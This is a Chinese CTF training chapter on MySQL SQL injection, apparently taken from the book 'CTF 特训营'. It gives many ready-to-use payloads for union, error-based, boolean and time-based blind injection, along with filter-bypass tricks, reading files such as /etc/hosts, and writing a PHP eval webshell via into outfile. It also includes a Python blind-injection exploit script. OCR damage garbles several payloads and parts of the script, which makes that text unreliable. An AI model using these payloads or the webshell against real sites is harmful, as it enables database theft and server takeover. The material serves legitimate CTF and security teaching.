Skip to content

SQL 注入攻击

本内容来来自《CTF 特训营》第二章:SQL 注入攻击

SQL 注入在国内 CTF 比赛中的地位特别高,基本上每次比赛的必出题。有时候还不只一道题,一道题也不只一个数据库,可能是与 SSRF、XSS 等漏洞配置出题等,这时候就需要我们根据不同的环境随机应变。在这里,我们主要介绍基于 MySQL 的注入。
在本文中,我们假设你已经有一定的 SQL 基础,熟悉觉的增(insert)删(delete)改(update)查(select)语句,了解常见的查询(比如联合查询、连接查询等),知道基本的数据库的权限控制,并了解 PHP 的基本语法和常见的参数传递方法(如 GET、POST 等)

1. 什么是 SQL 注入

首先简单介绍一下 SQL 注入的成因。开发人员在开发的过程中,直接将 URL 中的参数、HTTP Body 中的 Post 参数或其他外来用户的输入(如 Cookie,UserAgent 等)与 SQL 语句进行拼接,造成待执行的 SQL 语句可控,从而使我们可以执行任意的 SQL 语句。

了解了 SQL 注入的成因后,我们再来简单介绍下常见的 SQL 注入的分类,具体如下。

  1. 可回显的注入
  • 可以联合查询的注入
  • 报错注入
  • 通过注入进行 DNS 请求,从而达到可回显的目的
  1. 不可回显的注入
  • Bool 盲注
  • 时间盲注
  1. 二次注入 通常作为业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。

SQL 注入在 CTF 比赛中十分常见,涉及各种数据库。一般的 CTF 比赛中,出题人都变相地增加一层 WAF(比如,对关键字进行过滤等),然后只留下一个思路的解题路径,这时候我们需要快速找到并绕过这个点,然后得到 flag.

2. 可以联合查询的 SQL 注入

在可以联合查询的题目中,一般会将数据库的数据回显到页面中,比如下面这个例子(测试样例代码需要关闭 GPC)

php
...
$id = $_GET['id'];
$getid = "SELECT Id FROM users WHERE user_id = '{$id}'";
$result = mysqli_query($getid) or die('<pre>'.mysqli_error().'</pre>');
$num = mysql_numrows($result);
...

我们注意看上方的 SQL 语句中的$id 变量,该变量会将 GET 获取到的参数直接拼接到 SQL 语句中,假如此时传入如下参数:

?id=-1'+union+select+1+--+

拼接后的 SQL 语句变变成:

sql
SELECT Id FROM users WHERE user_id = '-1' union select 1 -- '

闭合前面的单绰号,注释掉后面的单绰号,中间写上需要的 Payload 就可以了。或许你会注意到,传递参数的时候用到了“+”号,而查询语句中并没有出现这个加号,这是因为服务器在处理用户输入的时候已经自动将加号转义成了空格符了。

联合查询是最简单易学,也是最容易理解和上手的注入方法,所以在题目中出现可以使用联合查询进行回显注入时,一般需要绕过某些特定的字符或者特定的单词(比如,空格或者 select、and、or 等字符串)。

3. 报错注入

这里主要介绍 3 种 MySQL 数据库报错注人的方法,分别是 updatexml、floor 和 exp.

  1. updatexml

updatexml 的报错原理从本质上来说就是函数的报错,如下所示。

mysgl> SELECT updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
ERROR 1105 (HY000): XPATH syntax error: '~5.6.26~'
mysql>

这里还是使用前面的例子,举出一个爆破数据库版本的样例 Payload: ?10=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23 其他功能的 Payload 可以参照下面 floor 的使用方法来修改

  1. floor

简单来说,floor 报错的原理是 rand 和 order by 或 group by 的冲突。在 MySQL 文档中的原文如下:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row,each time returning a different result.(http://dev.mysql.com/doc/refman/5.7/en/mathematical-functions.html#function_rand)

理解了原理之后,接下来我们来说一下应用的方法,如下。

爆破数据库版本信息:

?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables 1imit 0,1),f1oor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前用户:

?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables 1imit 0,1),floor(rand(0)*2)) x from information.schema.tables group by x)a)%23

爆破当前使用的数据库:

?id=1'+and(select 1 from(select count(*),concat( (select (select (select concat(0x7e,database(),0x7e)))from information*schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破指定表的字段(下面以表名为 emails 举例说明):

?id=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

注意,这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号,但是这时候有可能会出现单引号导致的报错。

以上的 Payload 可以在 sqli-labs 的 level1 中复现,如图 2-2 所示。

sQl- XSS- Encryption Encoding: Other oad URL (select concat(Qx7e.versionQ.Ox7e))fro CLICLSLILI jcnauie Pon dito DEnabie Reteuter Welcome Dhakkan Duplcate enty/-50519 3ubuntuB-T tor key1 图 2-2 floor 报错回显示例

在这里,我们只演示爆破数据库版本的 Payload,关于其他 Payload,读者可自行研究并复现。

3.exp

接下来是 exp 函数报错,expO 报错的本质原因是溢出报错。我们可以在 MySQL 中进行如下所示操作:

mysql> select exp(~(select * from (select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>

同样使用前面的例子,Payload 为:

?id=1' and exp(~(select* from (select user())x))%23

4. Bool 盲注

Bool 盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回 access,为假时返回 false;或者为真时返回正常页面,为假时跳转到错误页面等。

Bool 盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现 Bool 盲注的方法是在输人点后面添加 and 1=1 和 and 1=2(该 Payload 应在怀疑是整型注人的情况下使用)。

Bool 盲注的原理是如果题目后端拼接了 SQL 语句,and 1=1 为真时不会影响执行结果,但是 and 1=2 为假,页面则可能会没有正常的回显。

有时候我们可能会遇到将 1=1 过滤掉的 SQL 注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如 1352-1352 等)。

在字符串型注人的时候我们还需要绕过单引号,将 Payload 修改为如下格式'and '1'='1 和'or' 1'='2 来闭合单引号。

在 Bool 盲注中,我们经常使用的函数有以下几种分类,具体如表所示。

(1)截取函数

表 2-1 截取函数及其说明

函数名功能及使用方法
substr()函数是字符串截取函数,在盲注中我们一般逐位获取数据,这时候就需要使用 substr 函数按位截取。使用方法:substr(str,start,length)。这里的 str 为被截取的字符串,start 为开始截取的位置,length 为截取的长度。在盲注时,我们一般只截取一位,如 substr(user(),1,1),这样可以从 user 函数返回数据的第一位开始的偏移位置截取一位,之后我们只要修改位置参数即可获取其他的数据
left()函数是左截取函数,left 的用法为 left(str,length)。这里的 str 是被截取的字符串,length 为被截取的长度。在盲注中可以使用 left(user(),1)来左截一位字符。但是,如果是 left(user()),2),则会将 user() 的前两位都截取出来,这样的话,我们需要在匹配输出的字符串之前增加前缀,把之前几次的结果添加到这次的结果之前
使用样例如下:
假设 user()函数返回的字符串是“admin",那么
select a from b where left(a,1)='a'
会返回真,在探测第二位的时候,需要把第一位添加到当前探测位之前,比如:
select a from b where left(a,2)= 'ad'
以此类推,直到读取到全部内容为止
right()right 函数是右截取函数。使用方法与 left 函数类似,可以参考 let 函数的用法

(2)转换函数

表 2-2 转换函数及其说明

函数名功能及使用方法
ascii()ascii 函数的作用是将字符串转换为 ASCII 码,这样我们就可以避免在 Payload 中出现单引号。使用方法为 asci(ch(a1),这里的 char 为一个字符,在盲注中一般为单个字母。如果 char 为一串字符申,则返回结果将是第一个字母的 ASCIT 码。我们在使用中通常与 substr 函数相结合,如 asci(substr(user(),1,1)),这样可以获得 user()的第一位字符的 ASCII 码
hex()Hex 函数可以将字符串的值转换为十六进制的值。在 asciü 函数被禁止时,或者是需要将二进制数据写人文件时可以使用该函数,使用方法类似于 ascii 函数

(3)比较函数

表 2-3 比较函数及其说明

函数名功能及使用方法
if()if 函数是盲注中经常使用的函数,if 函数的作用与 1-1 和 1=2 的原理类似。如果我们要盲注的对象为假,则可以通过 f 的返回结果对页面进行控制。使用方法为 if(cond,Ture_result,False_result)
  其中,cond 为判断条件,Ture_result 为真时的返回结果,False result 为假时的返回结果。
  使用样例如下:
  ?id=1 and 1=if(ascii(substr(user(),1,1))=97,1,2)
  如果 user 的第一位是“a'则将返回 1,否则就返回 2。然而,如果返回的是 2,则会使 and 后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果

注意:在盲注的题目及真实的渗透测试中,有时候使用 Sqlmap 可能会存在误报。原因在于在一些数据返回页面及接口返回数据时可能会存在返回的是随机字符串(如,时间戳或防止 CSRF 的 Token 等)导致页面的长度发生变化的情况,这时候我们的工具及自动化检测脚本会出现误报。我们需要冷静地对 Payload 和返回结果进行分析。

5. 时间盲注

时间盲注出现的本质原因也是由于服务器端拼接了 SQL 语句,但是正确和错误存在同样的 回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据。由于时间盲注中的 函数是在数据库中执行的,因此在 CTF 比赛中关于时间盲注的题目比较少,原因在 F sleep 函数 或者 benchmark 函数的过多执行会让服务器负载过高,再加上 CTF 里面的一些“搅屎棍”的参 与,会让题目挂掉。不过,有时候我们还是会在 CTF 中遇到这些题目,这里简单说一下注人的 方法。

时间盲注类似于 Bool 盲注,只不过是在验证阶段有所不同。Bool 盲注是根据页面回显的不 同来判断的,而时间盲注是根据页面响应时间来判断结果的。一般来说,延迟的时间可以根据客 户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注常 用的函数有 sleep() 和 benchmark()两个,具体说明如表 2-4 所示。

表 2-4 可用来延时的函数

功能及使用方法函数名
sleep()sleep 是睡眼函数,可以使查询数据时回显数据的响应时问加长。使用方法如 sleep(N),这里的 N 为睡眠的时间。
  使用时可以配合 f 进行使用。如:
  if(ascii(substr(user(),1,1))=114,s1eep(5),2)
  这样的话,如果 user 的第一位是‘r’,则页面返回将延迟 5 秒。这里需要注意的是,这 5 秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
benchmark()benchmark 函数原本是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。使用方法如下:
  benchmark(N,expression)
  其中,N 为执行的次数,expression 为表达式。如果需要进行盲注,我们通常需要进行消耗时间和性能的计算,比如哈希计算函数 MD5(),将 MD5 函数重复执行数万次则可以达到延迟的效果,而具体的情况需要根据不同比赛的服务器性能及网络情况来决定

6. 二次注人

二次注入的起因是数据在第一次人库的时候进行了一些过滤及转义,当这条数据从数据库中 取出来在 SQL 语句中进行拼接,而在这次拼接中没有进行过滤时,我们就能执行构造好的 SQL 语句了。

由于二次注入的业务逻辑较为复杂,在比赛中一般很难发现,所以出题人一般会将源码放出 来,或者提示本题有二次注人。

在二次注人的题目中,一般不会是单纯的二次注人,通常还会与报错注入或 Bool 盲注结合出 题。比如,在注册页面输人的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模 拟注册及登录。

下面列举一个二次注人中包含盲注的例子(2016 年西电信安协会的 1l-ctf),简单描述下当时 的题目。存在用户的登录与注册页面,登录后可以修改用户的头像,判断注人的点也就是这个头 像是否有显示。如果注册时用户名构造的 Payload 为真,则可以在页面收到回显的头像的地址, 反之则没有。因为在测试时发现头像的链接很长,所以我们用页面返回长度来确定盲注结果,下 面是当时写的漏洞利用代码,我们在代码的注释中解释了每条语句的原理:

python
#1/usr/bin/env python
# coding:UTF-8
_author='T1mOn'
import requests
def getdata(pos,payload_chr):
  '''
  :param pos:盲注点
  :param payload_chr:字符串
  :return:如果pos位置是payload_chr,则返回payload_ chr,反之则返回空
  '''
  #当时网络环境比较差,经常出现502的情况,当返回502或者其他信息时,使用try再次执行本函数
  try:
    #用户名 注意看后面的 payload,这里的 payload 的意义为返回第一个数据库,并按位截取
    user ='zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/1imit/**/0,1),%d,1))=%d/**/and/**/\'1\'=\'1'%(pos,ord(payload_chr))
    #密码,只在登录时起作用
    passwd='aaaaaa'
    #注册机登录的url
    ur1 1ogin= 'http://web.1-ctf.com:55533/check.php'
    #注册时 post的数据
    resign_data={
      'user':user,
      'pass':passwd
      'vrtify':'1',
      'typer':'0',
      'register':'8E68B38A88E588688C',
    }
    #负责发送注册请求
    r0= requests.post(url_1ogin,resign_data)
    r0.close()
    #登录刚才注册的账号
    login data={
      'user':user,
      'pass':passwd,
      'vrtify':'1',
      'typer':'0',
      '1ogin':'8E78998BB8E9899%86',
    }
    r1= requests.post(ur1_1ogin, 1ogin_data)
    #截取返回头中的cookie,方便我们进入下一步的登录用户中心
    cookie=r1.headers['Set-Cookie'].split(';')[0]
    r1.close()
    #用户中心登录
    ur1_center='http://web.1-ctf.com:55533/ucenter.php'
    headers={'cookie':cookie}
    # 登录用户中心
    r2 = requests.get(url_center, headers-headers)
    res=r2.content
    #如果返回的长度大于700,则证明这个位置的字符串是正确的,并返回这个字符串;如果小于700,则
    返回空
    if len(res)>700:
      print payload_chr,ord(payload_chr)
      return payload_chr
    else;
      print('.'),
    return ''
  except:
    getdata(pos,payload_chr)
if __name__ == '__main__':
  payloads = 'abcdefghijk1mnopgrstuvwxyz1234567890@_{},'
  res = ''
  for pos in range(1,20):
    for payload in payloads:
      res += getdata(pos,payload)
  print(res)

# 附上当时的注入结果
# user--lctf
# database--web_200
# table -- user
# colmn -- d,admin,pass

当然,这只是获取 flag 过程中的一部分,但也是关键的一部分。

在遇到类似思路比较复杂的二次注人题目的时候,我们更要冷静地分析,不断地尝试,这样 才能挖到题目的考点,从而达到获取 flag 的目的。

7. limit 之后的注人

研究发现,在 MySQL 版本号大于 5.0.0 且小于 5.6.6 的时候,在如下位置中可以进行注人:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT {injection _point}

也可以使用如下的 Payload 进行注人:

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

8. 注人点的位置及发现

前面我们介绍了多种注人方式及利用方式,下面继续介绍注人点的位置及注入点的发现 方法。

1. 常见的注入点位置

在 CTF 中,我们遇到的不一定是注人点是表单中 username 字段的情况,有时候注人点会隐 藏在不同的地方,下面我们就来介绍几个常见的注人点的位置。

(1) GET 参数中的注入

GET 中的注入点一般最容易发现,因为我们可以在地址栏获得 URL 和参数等,可以用 Sqlmap 或者手工验证是否存在注人。

(2) POST 中的注入

POST 中的注人点一般需要我们通过抓包操作来发现,如使用 Burp 或者浏览器插件 Hackbar 来发送 POST 包。同样,也可以使用 Sqlmap 或者手工验证。

(3) User-Agent 中的注入

在希望发现 User-Agent 中的注人时,笔者在这里推荐大家使用 Burp 的 Repeater 模块,或者 Sqlmap。将 Sqlmap 的参数设置为 level-3,这样 Sqlmap 会自动检测 User-Agent 中是否存在注入。

(4) Cookies 中的注入

想要发现 Cookies 中的注人,笔者同样推荐大家使用 Burp 的 Repeater 模块。当然,在 Sqlmap 中,我们也可以设置参数为 level-2,这样 Sqlmap 就会自动检测 Cookies 中是否存在注人了。

2. 判断注入点是否存在

接下来就要确定注入点的位置。在判断输人点是否存在注人时,可以先假设原程序执行的 SQL 语句,如:

SELECT UserName FROM user WHERE id ='$id'; // 参数为字符串

SELECT UserName FROM User WHERE id= $id; // 参数为数字

然后通过以下几种方法进行判断:

(1) 插入单引号

插入单引号是我们最常使用的检测方法,原理在于未闭合的单引号会引起 SQL 语句单引号未 闭合的错误。

(2) 数字型判断

通过 and 1=1(数字型)和闭合单引号测试语句'and '1'=1(字符串型)进行判断,这里采用 Payload '1'-1 的目的是为了闭合原语句后方的单引号。

(3) 通过数字的加减进行判断

比如,我们在遇到的题目中抓到了链接http://example.com/?id=2,就可以进行如下的尝试http://example.com/?id=3-1 ,如果结果与 http://example.com/2id-2 相同,则证明 id 这个输人点可能存在 SQL 注入漏洞。

9. 绕过

在 CTF 中,关于 SQL 注人的题目一般都会涉及绕过。所以,掌握花式的绕过技术是必不可 少的。我们需要熟悉数据库的各种特性,并利用开阔的思维来对 SQL 注人的防护措施进行绕过 操作。

SQL 注人的题目中一般都有绕过这样的类型,常见的绕过方式有以下几个分类。

1. 过滤关键字

即过滤如 select、 or、from 等的关键字。有些题目在过滤时没有进行递归过滤,而且刚好将 关键字替换为空。这时候,我们可以使用穿插关键字的方法进行绕过操作,如:

select -- selselectect
or     -- oorr
union  -- uniunionon
...
也可以通过大小写转换来进行绕过,如:
select -- SelECt
or     -- oR
union  -- uNIoN
...
有时候,过滤函数是通过十六进制进行过滤的。我们可以对关键字的个别字母进行替换,如:
select -- selec\x74
or     -- o\x72
union  -- unio\x6e
...
有时还可以通过双重 URL编码进行绕过操作,如:
form  -- %25%36%36%25%37%32%25%36%66%25%36%64
or    -- %25%36%66%25%37%32
union -- %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65
...

在 CTF 题目中,我们通常需要根据一些提示信息及题目的变化来选择绕过方法。

2.过滤空格

在一些题目中,我们发现出题人并没有对关键字进行过滤,反而对空格进行了过滤,这时候 就需要用到下面这几种绕过方法。

  1. 通过注释绕过,一般的注释符有如下几个:
  • [ ] #
  • [ ] --
  • [ ] //
  • [ ] /**/
  • [ ] ;%00

这时候,我们就可以通过这些注释符来绕过空格符,比如:

select/**/username/**/from/**/user
  1. 通过 URL 编码绕过,我们知道空格的编码是%20,所以可以通过二次 URL 编码进行绕过:
%20 -- %2520
  1. 通过空白字符绕过,下面列举了数据库中一些常见的可以用来绕过空格过滤的空白字符(十六进制):
SQLite3    -- OA,0D,0C,09,20
MySQL5     -- 09,0A,0B,OC,OD,A0,20
PosgresSQL -- 0A,0D,0C,09,20
Oracle 11g -- 00,0A,OD,OC,09,20
MSSQL      -- 01,02,03,04,05,06,07,08,09,0A,0B,0C,OD, 0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1B,1F,20

如图 2-4 所示的操作为利用换行符来替代空格的例子。

  1. 通过特殊符号(如反引号、加号等),利用反引号绕过空格的语句如下:
...select`user`,`password`from...

如图 2-5 所示的是使用反引号对空格进行绕过的示例。这样就能获取全部的 usermame 和 password。

在不同的场景下,加号、减号、感叹号也会有同样的效果,这里不一一进行举例说明了,读者可以自行测试。

  1. 科学计数法绕过,语句如下:

SELECT user,password from users where user_id=0e1union select 1,2

mysql> use dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select
    -> user,password
    -> from
    -> users;
+---------+----------------------------------+
| user    | password                         |
|---------+----------------------------------|
| admin   | 5fadcc3b5aa765d61d8327deb882cf9g |
| guest   | 5fadcc3b5aa765d61d8327deb882cf9g |
| gordonb | 5fadcc3b5aa765d61d8327deb882cf9g |
| 1337    | 5fadcc3b5aa765d61d8327deb882cf9g |
| pablo   | 5fadcc3b5aa765d61d8327deb882cf9g |
| smithy  | 5fadcc3b5aa765d61d8327deb882cf9g |
+---------+----------------------------------+
5 rows in set(0.00 sec)

图 2-4 空白字符(换行符)绕过空格过滤的示例

mysql> select 1,2 from users where user_id=1 union select`user`,`password`from users;
+---------+----------------------------------+
| user    | password                         |
|---------+----------------------------------|
| 1       | 2                                |
| admin   | 5fadcc3b5aa765d61d8327deb882cf9g |
| guest   | 5fadcc3b5aa765d61d8327deb882cf9g |
| gordonb | 5fadcc3b5aa765d61d8327deb882cf9g |
| 1337    | 5fadcc3b5aa765d61d8327deb882cf9g |
| pablo   | 5fadcc3b5aa765d61d8327deb882cf9g |
| smithy  | 5fadcc3b5aa765d61d8327deb882cf9g |
+---------+----------------------------------+

图 2-5 使用反引号绕过空格过滤的示例

结果如图 2-6 所示,同样可以达到绕过的效果。

mysql> SELECT user,password FROM users where user_id=0e1union select 1,2;
+------+----------+
| user | password |
| 1    | 2        |
+------+----------+
1 row in set (0.00 sec)

图 2-6 使用科学计数法进行绕过

3. 过滤单引号

绕过单引号过滤遇到题目最多的是魔术引号,也就是 PHP 配置文件 php.ini 中的 magic_quote_gpc。

当 PHP 版本号小于 5.4 时(PHPS.3 废弃魔术引号,PHPS.4 移除),如果我们遇到的是 GB2312、GBK 等宽字节编码(不是网页的编码),可以在注人点增加%df 尝试进行宽字节注人 (如%d/%27)。原理在于 PHP 发送请求到 MySQL 时字符集使用 character_set_client 设置值进行了 一次编码,从而绕过了对单引号的过滤。

这种绕过方式现在已不多见,基本上也不会出现在未来的 CTF 比赛中。

4. 绕过相等过滤

根据“猪猪侠”的微博:MySQL 中存在 utf8_unicode_ci 和 utf8_general_ci 两种编码格式。 utf8_geleral_ci 不仅不区分大小写,而且 Ä=A,Ö=0,Ü=U 这三种等式都成立。对于 utf8_general_ci 等式 β=s 是成立的,但是,对于 utf8_unicode_ci,等式 β=ss 才是成立的。

这种绕过方式曾在 2016 年 HITCON 的 BabyTrick 题目中作为一个绕过的考点出现过。

10. SQL 读写文件

在了解了 SQL 注入方法与过滤绕过的方法之后,我们再来看一下如何用 SQL 语句来读写系 统文件。有一些比赛题目存在 SQL 注人漏洞,但是 flag 并不在数据库中,这时候就需要考虑是否 要读取文件或是写 Shell 来进一步进行渗透。

这里依旧以 MySQL 数据库为例,在 MySQL 用户拥有 File 权限的情况下,可以使用 load file 和 into outfile/dumpfile 进行读写。

我们假设一个题目存在注人的 SQL 语句,代码如下:

select username from user where uId =sid

此时,我们就可以构造读文件的 Payload 了,代码如下:

?id=-1+union+select+load file('/etc/hosts')

在某些需要绕过单引号的情况下,还可以使用文件名的十六进制作为 load_file 函数的参数,如:

?id=-1+union+select+load_file(0x21657463216861737473)

如果题目给出或通过其他漏洞泄露了 fnag 文件的位置,则可以直接读取 flag 文件;若没有 给出,则可以考虑读取常见的配置文件或敏感文件,如 MySQL 的配置文件、Apache 的配置文 件、.bash_history 等。

此外,如果题目所考察的点并不是通过 SQL 读取文件,则可以考虑是否能通过 SQL 语句进 行写文件,包括但不限于 Webshell、计划任务等。写文件的 Payload 如下:

?id=-1+union+select+'<?php eval(S_POST[233]);?>'+into+outfile '/var/www/html/shell.php'

或:

?id=-1+union+select+unhex(一句话 shell 的十六进制)+into+dumpfile '/var/www/html/shell.php'

这里需要注意的是,写文件的时候除了要确定有写文件的权限,还要确定目标文件名不能是 已经存在的,尝试写人一个已存在的文件将会直接报错。

此外,在权限足够高的时候,还可以写人 UDF 库执行系统命令来进一步扩大攻击面。

11. 小结

SQL 注人单独作为比赛中的考点就已经较为复杂了,出题人可能还会配合其他的漏洞考察一 些“脑洞大开”的获取 flag 的方式,那就更复杂了。

而且在实战过程中,如果单一的过滤手段不能达到目的时,则应该考虑使用多种绕过手段的组 合来实现绕过的目的。若考察点不是为了得到数据库中的数据,则还应该考虑是否要读写文件。

SQL 注人的知识暂时就先讲解这么多,在了解 SQL 注人的原理、成因、绕过方法之后,将 没有什么题目能难倒你了。